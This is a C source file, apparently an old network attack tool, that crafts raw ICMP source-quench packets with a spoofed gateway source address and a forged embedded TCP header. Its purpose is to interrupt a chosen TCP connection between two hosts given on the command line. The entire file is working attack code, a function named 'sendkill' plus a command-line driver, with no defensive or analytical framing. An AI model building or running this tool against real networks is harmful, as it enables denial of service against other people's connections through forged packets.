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0fc03a6904e3e78cf360672a18ced73d8ed1fb044f5017f7f3266a5fdd750abb
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
static int thecode;
u_short cksum( u_short *, int );
void sendkill( char *, int, char *, int );
u_short cksum( u_short *buf, int nwords ) {
unsigned long sum;
for ( sum = 0; nwords > 0; nwords -- )
sum += *buf++;
sum = ( sum >> 16) + ( sum & 0xffff );
sum += ( sum >> 16 );
return ~sum ;
}
void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
/*it wasn't.. so we try it as a long host name */
host = gethostbyname(hostname);
if (host) {
/* wow. It's a host name.. set the fields */
/* ?? address->sin_family = host->h_addrtype; */
bcopy( host->h_addr, (char *)&address->sin_addr,
host->h_length);
}
else {
/* oops.. can't find it.. */
puts("Couldn't resolve address!!!");
exit(-1);
}
}
/* all done. */
}
#define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \
sizeof( struct iphdr ) + 8 )
#define ICMPSIZE ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 )
#define offsetTCP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \
sizeof( struct iphdr ) )
#define offsetIP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) )
#define offsetICMP ( sizeof( struct iphdr ) )
#define offsetRIP ( 0 )
void sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
char * packet;
static struct sockaddr_in local, remote;
static int sock = 0;
if ( !sock ) {
resolve_address( (struct sockaddr *)&local, fromhost, fromport );
resolve_address( (struct sockaddr *)&remote, tohost, toport );
sock = socket( AF_INET, SOCK_RAW, 255 );
if ( sock == -1 ) {
perror("Getting raw socket");
exit(-1);
}
}
/*
. Get memory for the packet
*/
packet = (char *)malloc( PACKETSIZE );
if ( !packet ) {
perror("Getting space for packet");
exit(-1);
}
/*
. Fill in our pretended TCP header
. note - since this was allegedly an outgoing packet... we have to
. flip the source and destination stuff
*/
{
struct tcphdr * fake_tcp;
fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
fake_tcp->th_dport = htons(fromport);
fake_tcp->th_sport = htons(toport);
fake_tcp->th_seq = 0x1984;
}
/*
. fill in the fake IP header.
. the same reversal as above still applies.. the packet was sent to
. our machine ( yeah right )
*/
{
struct iphdr * fake_ip;
fake_ip = ( struct iphdr *) ( packet + offsetIP );
/* these fields are irrelevant -- never checked?? */
fake_ip->version = 4;
fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
fake_ip->tos = 0;
fake_ip->id = htons( getpid() & 255 );
fake_ip->frag_off = 0;
fake_ip->ttl = 24; /* not so long to live anymore */
fake_ip->check = 3805; /* this CAN'T be checked..so do something != 0 */
/* these fields are used .. */
fake_ip->ihl = 5;
bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
fake_ip->protocol = 6; /* a TCP packet */
}
/*
. fill in the ICMP header
. this is actally rather trivial, though don't forget the checksum
*/
{
struct icmphdr * icmp;
icmp = ( struct icmphdr *)(packet + offsetICMP );
icmp->type = 4;
icmp->code = thecode; /* this will generate an error message */
icmp->un.gateway = 0;
icmp->checksum = 0;
icmp->checksum = cksum( (u_short *)(icmp), ICMPSIZE >> 1 );
}
/*
. finally, fill in the IP header
. this is almost the same as above.. though this time, it is the
. ip header that really takes the packet places. make sure the
. checksum and addresses are right
*/
{
struct iphdr * real_ip;
real_ip = ( struct iphdr *)packet;
real_ip->version = 4;
real_ip->ihl = 5;
real_ip->tot_len = htons(PACKETSIZE);
real_ip->tos = ( 7 << 5) | 4;
real_ip->ttl = 255;
real_ip->protocol = 1;
real_ip->check = 0;
real_ip->id = htons( 3 );
real_ip->frag_off = 0;
bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L );
real_ip->check = cksum( (u_short *)packet, sizeof( struct iphdr ) >> 1 );
}
/*
.
. and now.. finally... send it out into the net
*/
{
int result;
result = sendto( sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof( remote ) );
if ( result != PACKETSIZE ) {
perror("sending packet" );
}
}
}
main( int argc, char ** argv ) {
int i,codes ;
if ( argc != 6 ) {
puts("usage: <from host><from port> <target host><target port> <icmp type>" );
exit(-1);
}
thecode = atoi(argv[5]);
sendkill( argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}